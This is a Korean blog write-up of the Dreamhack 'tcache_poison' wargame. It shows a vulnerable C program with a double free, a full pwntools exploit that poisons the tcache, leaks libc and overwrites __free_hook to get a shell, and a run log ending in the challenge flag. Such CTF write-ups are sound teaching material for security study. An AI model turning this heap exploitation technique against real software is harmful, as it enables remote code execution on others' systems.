[Dreamhack] tcache_poison

Sisyphus·2022년 11월 28일
0

문제 코드

// Name: tcache_poison.c
// Compile: gcc -o tcache_poison tcache_poison.c -no-pie -Wl,-z,relro,-z,now

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

int main() {
  void *chunk = NULL;
  unsigned int size;
  int idx;

  setvbuf(stdin, 0, 2, 0);
  setvbuf(stdout, 0, 2, 0);

  while (1) {
    printf("1. Allocate\n");
    printf("2. Free\n");
    printf("3. Print\n");
    printf("4. Edit\n");
    scanf("%d", &idx);

    switch (idx) {
      case 1:
        printf("Size: ");
        scanf("%d", &size);
        chunk = malloc(size);
        printf("Content: ");
        read(0, chunk, size - 1);
        break;
      case 2:
        free(chunk);
        break;
      case 3:
        printf("Content: %s", chunk);
        break;
      case 4:
        printf("Edit chunk: ");
        read(0, chunk, size - 1);
        break;
      default:
        break;
    }
  }
  
  return 0;
}
  • 원하는 크기의 청크를 할당, 해제할 수 있습니다.
  • case 2에서 청크를 해제하고 초기화지 하지 않아서 Double Free Bug가 발생합니다.
  • case 3와 Double Free Bug를 이용해 libc base를 릭할 수 있습니다.
  • case 4를 통해 보호 기법을 우회할 수 있습니다.


보호 기법

 ion  ~/security/wargame/dreamhack/pwnable/Tcache_Poisoning  checksec tcache_poison
[*] '/home/ion/security/wargame/dreamhack/pwnable/Tcache_Poisoning/tcache_poison'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

Full RELRO 보호 기법이 걸려있어서 hook 함수를 덮는 방법을 시도해 봐야할거 같습니다.



익스플로잇 코드

from pwn import *

p = remote("host3.dreamhack.games", 23836)
e = ELF("./tcache_poison")
libc = ELF("./libc-2.27.so", checksec=False)

def slog(symbol, addr): return success(symbol + ": " + hex(addr))

def alloc(size, data):
    p.sendlineafter("Edit\n", "1")
    p.sendlineafter(":", str(size))
    p.sendafter(":", data)

def free():
    p.sendlineafter("Edit\n", "2")

def print_chunk():
    p.sendlineafter("Edit\n", "3")

def edit(data):
    p.sendlineafter("Edit\n", "4")
    p.sendafter(":", data)

# Allocate a chunk of size 0x40
alloc(0x30, "dreamhack")
free()

# tcache[0x40]: "dreamhack"
# Bypass the DFB mitigation
edit("A"*8 + "\x00")
free()

# tcache[0x40]: "dreamhack" -> "dreamhack"
# Append the address of `stdout` to tcache[0x40]
addr_stdout = e.symbols["stdout"]
alloc(0x30, p64(addr_stdout))

# tcache[0x40]: "dreamhack" -> stdout -> _IO_2_1_stdout_ -> ...
# Leak the value of stdout
alloc(0x30, "B"*8)          # "dreamhack"
alloc(0x30, "\x60")         # stdout

# Libc leak
print_chunk()
p.recvuntil("Content: ")
stdout = u64(p.recv(6).ljust(8, b"\x00"))
lb = stdout - libc.symbols["_IO_2_1_stdout_"]
fh = lb + libc.symbols["__free_hook"]
og = lb + 0x4f432

slog("free_hook", fh)
slog("one_gadget", og)

# Overwrite the `__free_hook` with the address of one_gadget
alloc(0x40, "dreamhack")
free()
edit("C"*8 + "\x00")
free()

alloc(0x40, p64(fh))
alloc(0x40, "D"*8)
alloc(0x40, p64(og))

# Call `free()` to get shell
free()

p.interactive()


익스플로잇

 ion  ~/security/wargame/dreamhack/pwnable/Tcache_Poisoning  python3 remote.py      
[+] Opening connection to host3.dreamhack.games on port 23836: Done
[*] '/home/ion/security/wargame/dreamhack/pwnable/Tcache_Poisoning/tcache_poison'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
[+] free_hook: 0x7f52ed7608e8
[+] one_gadget: 0x7f52ed3c2432
[*] Switching to interactive mode
$
$ ls
flag
run.sh
tcache_poison
$ cat flag
DH{1c94c43ee3c47ad44422f83d7b6fd9a8}

0개의 댓글